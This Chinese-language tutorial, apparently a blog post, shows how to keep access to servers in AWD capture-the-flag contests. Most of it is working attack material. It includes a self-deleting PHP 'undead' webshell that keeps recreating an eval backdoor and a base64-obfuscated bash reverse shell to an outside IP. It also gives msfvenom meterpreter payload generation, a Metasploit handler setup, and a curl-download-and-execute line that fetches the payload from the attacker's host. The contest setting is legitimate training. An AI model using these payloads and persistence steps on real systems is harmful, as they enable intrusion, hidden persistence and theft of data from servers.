攻防兼备AWD模式是一种综合考核参赛团队攻击、防御技术能力、即时策略的比赛模式。在攻防模式中,参赛队伍分别防守同样配置的虚拟靶机,并在有限的博弈时间内,找到其他战队的薄弱环节进行攻击,同时要对自己的靶机环境进行加固防守。
在AWD需要权限维持,但通常情况下,我们使用不死马来维持权限:
<?php
set_time_limit(0); //PHP脚本限制了执行时间,set_time_limit(0)设置一个脚本的执行时间为无限长
ignore_user_abort(1); //ignore_user_abort如果设置为 TRUE,则忽略与用户的断开,脚本将继续运行。
unlink(__FILE__); //删除自身
while(1)
{
file_put_contents('./shell.php','<?php @eval($_GET[cmd]);?>'); //创建shell.php
sleep(0); //间隔时间
}
?>
上传之后,访问该页面,就会不断生成shell.php,我们就直接可以利用shell.php
但是这样有一些问题
防守方只要创建一个与不死马一样名字的文件夹即可终止不死马的创建
rm -rf shell.php && mkdir shell.php
并且若是对方安装日志记录等文件,对方对方便可获得你使用的shell地址和密码,反过来将这个shell利用在其他的机器上,俗称上车。
在红蓝对抗模拟中,权限维持是指攻击方(红队)取得某些有限的访问权限或者获得某些信息后,需要继续保持这些权限的过程。因此,权限维持是在这种情况下必要的,以确保攻击方能够在之后的攻击行动中使用这些权限或信息。
在红队权限维持的时候,我们通常使用后渗透工具Metasploit、Cobalt Strike等。由于AWD通常使用Linux,而Metasploit对windows和linux的兼容性都较好。这篇文章使用Metasploit来进行演示。
由于Metasploit工具有进程迁移,提权等操作,被入侵的服务器一般不容易发现自己已被入侵。这在AWD中刚好合适,并且可以使用Metasploit批量来获取FLAG。在实战中,即使站点文件全部被删除,站点已关闭,Metasploit的进程是依然存在的,这样就导致别的攻击方因为站点不存在无法攻击得分,而我们的进程依然存在从而得分,拉开比分的差距。
docker:https://github.com/Cl0udG0d/AWDDocker
使用了其中的Web1来进行演示
预设后门为:http://localhost:8000/?springbird=phpinfo();
docker build -t test/awd:v1.0 .
进行权限维持的第一步是拥有主机的权限
#index.php
<?php
echo "hi!This is SpringBird";
@eval($_REQUEST['springbird']);
?>
可以看到这个是最简单的一句话后门,刚好适合我们来演示
连接蚁剑
在服务器上开启一个nc监听
nc -lvp 1256
反弹shell
bash -c '{echo,L2Jpbi9zaCAtaSA+JiAvZGV2L3RjcC8xMjMuMTIzLjEyMy4xMjMvMTI1NiAwPiYx}|{base64,-d}|{bash,-i}'
接收到shell
使用Metasploit生成后门文件
msfvenom -p linux/x64/meterpreter_reverse_tcp LHOST=你的IP LPORT=8887 -f elf > mshell.elf
之后启动一个python的http服务以供下载
python2 -m SimpleHTTPServer
启动监听
use exploit/multi/handler
set payload linux/x64/meterpreter/reverse_tcp
set LHOST 123.123.123.123
set LPORT 8887
run
之后在刚才拿到权限的服务器下载该恶意文件。
curl -O http://123.123.123.123:8000/mshell.elf && chmod +x ./mshell.elf && ./mshell.elf&
可以看到该主机已经上线。
我们多上线几台服务器来模拟AWD环境
之后我们可以用sessions -c "cat /home/flag"来批量获取flag
最后,我们把一句话后门删除,权限依然存在。
总结一下用Metasploit进行AWD的权限维持批量获取flag更加方便,也更加稳定。